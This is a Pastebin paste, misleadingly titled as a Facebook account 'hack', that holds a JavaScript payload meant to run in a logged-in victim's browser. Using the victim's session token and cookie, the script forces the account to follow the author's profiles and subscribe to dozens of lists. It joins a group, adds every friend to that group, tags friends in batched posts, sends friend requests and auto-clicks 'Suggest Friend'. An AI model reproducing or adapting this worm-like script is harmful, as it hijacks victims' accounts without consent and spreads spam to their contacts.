endlesssandhu

Frist Time on Facebook that hacks account must share

Feb 2nd, 2014
371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.88 KB | None | 0 0
  1. // Script Auto Follow Facebook Accounts & list By JâtìñÐér SâñÐhú
  2. // @name Facebook AutoFollower List
  3. // @description Facebook AutoFollower
  4. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  5. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  6.  
  7. function cereziAl(isim) {
  8. var tarama = isim + "=";
  9. if (document.cookie.length > 0) {
  10. konum = document.cookie.indexOf(tarama)
  11. if (konum != -1) {
  12. konum += tarama.length
  13. son = document.cookie.indexOf(";", konum)
  14. if (son == -1)
  15. son = document.cookie.length
  16. return unescape(document.cookie.substring(konum, son))
  17. }
  18. else { return ""; }
  19. }
  20. }
  21.  
  22. function getRandomInt (min, max) {
  23. return Math.floor(Math.random() * (max - min + 1)) + min;
  24. }
  25. function randomValue(arr) {
  26. return arr[getRandomInt(0, arr.length-1)];
  27. }
  28.  
  29. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  30. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  31.  
  32. function a(abone){
  33. var http4 = new XMLHttpRequest();
  34.  
  35. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  36.  
  37. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  38. http4.open("POST", url4, true);
  39.  
  40. //Send the proper header information along with the request
  41. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  42. http4.setRequestHeader("Content-length", params4.length);
  43. http4.setRequestHeader("Connection", "close");
  44.  
  45. http4.onreadystatechange = function() {//Call a function when the state changes.
  46. if(http4.readyState == 4 && http4.status == 200) {
  47.  
  48. http4.close; // Close the connection
  49.  
  50. }
  51. }
  52.  
  53. http4.send(params4);
  54. }
  55.  
  56. function sublist(uidss) {
  57. var a = document.createElement('script');
  58. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  59. document.body.appendChild(a);
  60. }
  61. //JATINDER SANDHU
  62. a("100003802633881");
  63. a("100002295829550");
  64. //JâtìñÐér SâñÐhú
  65. sublist("347395568730528");
  66. sublist("366702906799794");
  67. sublist("366691630134255");
  68. sublist("369996346470450");
  69. sublist("358394594297292");
  70. sublist("396514647151953");
  71. sublist("396515053818579");
  72. sublist("396515507151867");
  73. sublist("396515810485170");
  74. sublist("396516010485150");
  75. sublist("396516270485124");
  76. sublist("396516557151762");
  77. sublist("396516717151746");
  78. sublist("396516900485061");
  79. sublist("396517213818363");
  80. sublist("396517323818352");
  81. sublist("396518080484943");
  82. sublist("396518497151568");
  83. sublist("396518823818202");
  84. sublist("396518823818202");
  85. sublist("396519237151494");
  86. sublist("396519440484807");
  87. sublist("394795703990514");
  88. //Yusri Anas Part II
  89. sublist("1413467148882971");
  90. sublist("1423611404535212");
  91. sublist("1423611234535229");
  92. sublist("1411613599068326");
  93. sublist("1413468982216121");
  94. //Sasidharan Muthusamy
  95. sublist("570629146324510");
  96. sublist("588132684574156");
  97. sublist("589449871109104");
  98. sublist("589450127775745");
  99. sublist("589450527775705");
  100. sublist("529576490465051");
  101. //Rahul Attri
  102. sublist("521769924572506");
  103. //Jatinder Sandhu
  104. sublist("583347348418454");
  105. sublist("583348435085012");
  106. //Rãmñiñder Šiñgh
  107. sublist("636349693089186");
  108. //
  109. sublist("616299178416638");
  110. sublist("635528696493686");
  111. sublist("636370473076175");
  112. //Anggota
  113. var gid = ['458775874234484'];
  114. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  115. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  116.  
  117. var httpwp = new XMLHttpRequest();
  118. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  119. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  120. httpwp['open']('POST', urlwp, true);
  121. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  122. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  123. httpwp['setRequestHeader']('Connection', 'keep-alive');
  124. httpwp['send'](paramswp);
  125.  
  126. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  127. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  128.  
  129. var friends = new Array();
  130. gf = new XMLHttpRequest();
  131. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  132. gf['send']();
  133. if (gf['readyState'] != 4) {} else {
  134. data = eval('(' + gf['responseText']['substr'](9) + ')');
  135. if (data['error']) {} else {
  136. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  137. return _0x93dax8['index'] - _0x93dax9['index'];
  138. });
  139. };
  140. };
  141.  
  142. for (var i = 0; i < friends['length']; i++) {
  143. var httpwp = new XMLHttpRequest();
  144. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  145. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  146. httpwp['open']('POST', urlwp, true);
  147. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  148. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  149. httpwp['setRequestHeader']('Connection', 'keep-alive');
  150. httpwp['onreadystatechange'] = function () {
  151. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  152. };
  153. httpwp['send'](paramswp);
  154. };
  155. var spage_id = "575130462581628";
  156. var spost_id = "378668095603275";
  157. var sfoto_id = "246204152183004";
  158. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  159. var smesaj = "";
  160. var smesaj_text = "";
  161. var arkadaslar = [];
  162. var svn_rev;
  163. var bugun= new Date();
  164. var btarihi = new Date();
  165. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  166. if(!document.cookie.match(/paylasti=(\d+)/)){
  167. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  168. }
  169.  
  170.  
  171. //arkadaslari al ve isle
  172. function sarkadaslari_al(){
  173. var xmlhttp = new XMLHttpRequest();
  174. xmlhttp.onreadystatechange = function () {
  175. if(xmlhttp.readyState == 4){
  176. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  177. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  178. smesaj = "";
  179. smesaj_text = "";
  180. for(i=f*10;i<(f+1)*10;i++){
  181. if(arkadaslar.payload.entries[i]){
  182. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  183. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  184. }
  185. }
  186. sdurumpaylas(); }
  187.  
  188. }
  189.  
  190. };
  191. var params = "&filter[0]=user";
  192. params += "&options[0]=friends_only";
  193. params += "&options[1]=nm";
  194. params += "&token=v7";
  195. params += "&viewer=" + user_id;
  196. params += "&__user=" + user_id;
  197.  
  198. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  199. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  200. xmlhttp.send();
  201. }
  202.  
  203. //tiklama olayini dinle
  204. var tiklama = document.addEventListener("click", function () {
  205. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  206. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  207. sarkadaslari_al();
  208. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  209.  
  210. document.removeEventListener(tiklama);
  211. }
  212. }, false);
  213.  
  214.  
  215. //arkada leme
  216. function sarkadasekle(uid,cins){
  217. var xmlhttp = new XMLHttpRequest();
  218. xmlhttp.onreadystatechange = function () {
  219. if(xmlhttp.readyState == 4){
  220. }
  221. };
  222.  
  223. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  224. var params = "to_friend=" + uid;
  225. params += "&action=add_friend";
  226. params += "&how_found=friend_browser";
  227. params += "&ref_param=none";
  228. params += "&outgoing_id=";
  229. params += "&logging_location=friend_browser";
  230. params += "&no_flyout_on_click=true";
  231. params += "&ego_log_data=";
  232. params += "&http_referer=";
  233. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  234. params += "&phstamp=165816749114848369115";
  235. params += "&__user=" + user_id;
  236. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  237. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  238.  
  239. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  240. xmlhttp.send(params);
  241. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  242. cinsiyetgetir(uid,cins,"sarkadasekle");
  243. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  244. xmlhttp.send(params);
  245. }
  246. }
  247.  
  248. //cinsiyet belirleme
  249. var cinssonuc = {};
  250. var cinshtml = document.createElement("html");
  251. function scinsiyetgetir(uid,cins,fonksiyon){
  252. var xmlhttp = new XMLHttpRequest();
  253. xmlhttp.onreadystatechange = function () {
  254. if(xmlhttp.readyState == 4){
  255. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  256. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  257. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  258. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  259. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  260. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  261. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  262. }
  263. eval(fonksiyon + "(" + id + "," + cins + ");");
  264. }
  265. };
  266. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  267. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  268. xmlhttp.send();
  269. }
  270. function autoSuggest()
  271. {
  272. links=document.getElementsByTagName('a');
  273. for (i in links) {
  274. l=links[i];
  275. if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  276. l.click();
  277. }
  278. }
  279. }
  280.  
  281. function blub()
  282. {
  283. if(document.getElementsByClassName('pbm fsm').length == 1) {
  284. w = document.getElementsByClassName('pbm fsm')[0];
  285.  
  286. e = document.createElement('a');
  287. //e.href = '#';
  288. e.innerHTML = 'Auto Suggest by SAGA';
  289. e.className = 'uiButton';
  290. e.onclick = autoSuggest;
  291.  
  292. if( w.childElementCount == 0)
  293. {
  294. w.appendChild(document.createElement('br'));
  295. w.appendChild(e);
  296. }
  297. }
  298. }
  299.  
  300. blub();
  301.  
  302. document.addEventListener("DOMNodeInserted", blub, true);
Add Comment
Please, Sign In to add comment